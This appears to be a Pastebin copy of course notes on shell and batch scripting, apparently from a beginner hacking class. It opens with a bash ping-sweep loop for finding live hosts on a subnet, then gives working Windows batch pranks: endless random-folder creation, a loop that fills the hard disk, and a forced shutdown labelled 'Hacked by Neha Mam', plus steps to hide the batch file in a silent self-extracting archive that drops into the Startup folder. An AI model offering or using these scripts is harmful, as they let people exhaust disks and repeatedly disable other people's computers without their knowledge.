LuciferAviSonicX

Grade 2 Session 14

Sep 20th, 2017
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.93 KB | None | 0 0
  1. Shell SCripting
  2. ---------------
  3.  
  4. Tool -> netdiscover
  5.  
  6.  
  7. Tool -> nmap
  8.  
  9.  
  10. Linux OS -
  11.  
  12.  
  13. Editor -> gedit | nano | leafpad | vi | vim etc
  14.  
  15.  
  16. Extension : .sh
  17. chmod 777 file.sh
  18. ./file.sh
  19. file name ----> scann.sh
  20.  
  21. #/bin/bash/
  22. ping www.google.com
  23.  
  24. ----exit------
  25. chmod 777 scann.sh
  26.  
  27. netdiscover -> machines are runing in my network
  28.  
  29.  
  30.  
  31. #/bin/bash/
  32. ping -c 1 172.16.3.134 |grep "64 bytes"
  33. ping -c 1 172.16.3.136 |grep "64 bytes"
  34. ping -c 1 172.16.3.137 |grep "64 bytes"
  35. ping -c 1 172.16.3.145 |grep "64 bytes"
  36.  
  37.  
  38. 192.168.0.23
  39. 192.168.0.0-192.168.0.255
  40.  
  41.  
  42. for(i = 0; i < 10;i++)
  43. {
  44. print i;
  45. }
  46.  
  47. 0
  48. 1
  49. 2
  50. 3
  51. 4
  52. 5
  53. 6
  54. 7
  55. 8
  56. 9
  57.  
  58. i value --> 1-255
  59. 192.168.0.i
  60.  
  61. 192.168.0.1
  62. 192.168.0.2
  63. 192.168.0.3
  64. **.**.**.**
  65. 192.168.0.255
  66.  
  67.  
  68. 192.168.0.12
  69. 192.168.0.0-192.168.0.255
  70. 192.168.0.1
  71. 192.168.0.2
  72. 192.168.0.3
  73.  
  74.  
  75.  
  76.  
  77. for ip in $(seq 1 255);do
  78. ping -c 1 172.16.3.$ip | grep "64 bytes"
  79. done
  80.  
  81. ping -c 1 192.168.0.1 | grep "64 bytes"
  82. ping -c 1 192.168.0.2 | grep "64 bytes"
  83. ping -c 1 192.168.0.3 | grep "64 bytes"
  84.  
  85. ping -c 1 192.168.0.255 | grep "64 bytes"
  86.  
  87.  
  88.  
  89.  
  90.  
  91. 192.168.0.255
  92.  
  93. #/bin/bash/
  94. for ip in $(seq 1 255);do
  95. ping -c 1 172.16.3.$ip |grep "ttl" |cut -d " " -f4 |cut -d ":" -f1
  96. done
  97.  
  98.  
  99.  
  100. Batch SCripting
  101. ----------------
  102.  
  103. Editor -> Notepad
  104.  
  105. Extension: .bat
  106.  
  107.  
  108. for creating randon folders
  109. :banao
  110. mkdir %random%
  111. goto banao
  112.  
  113.  
  114.  
  115. for eating up the space in hard disk
  116. :space
  117. type chotu.txt>>chotu.txt
  118. goto space
  119.  
  120.  
  121. :space
  122. echo "hello">>chotu.txt
  123. goto space
  124.  
  125.  
  126.  
  127. @echo off
  128.  
  129. Random Folder
  130. Shutdown
  131.  
  132. shutdown -s -t 10 -c "Hacked by Neha Mam"
  133.  
  134.  
  135. SFX ->
  136. 1. create a .bat file
  137. 2. right click on batch file
  138. 3. Add a archive
  139. 4. SFX
  140. 5. Advacnce tab ---> SFX Option
  141. 6. goto general tab ---> path
  142. 7. Goto update tab --> select middle option for both the items
  143. 8. Goto setup --> provide the path of startup
  144. 9. goto Modes --> select hide all.
  145. 10. click OK
  146. 11. Click ok.....
Add Comment
Please, Sign In to add comment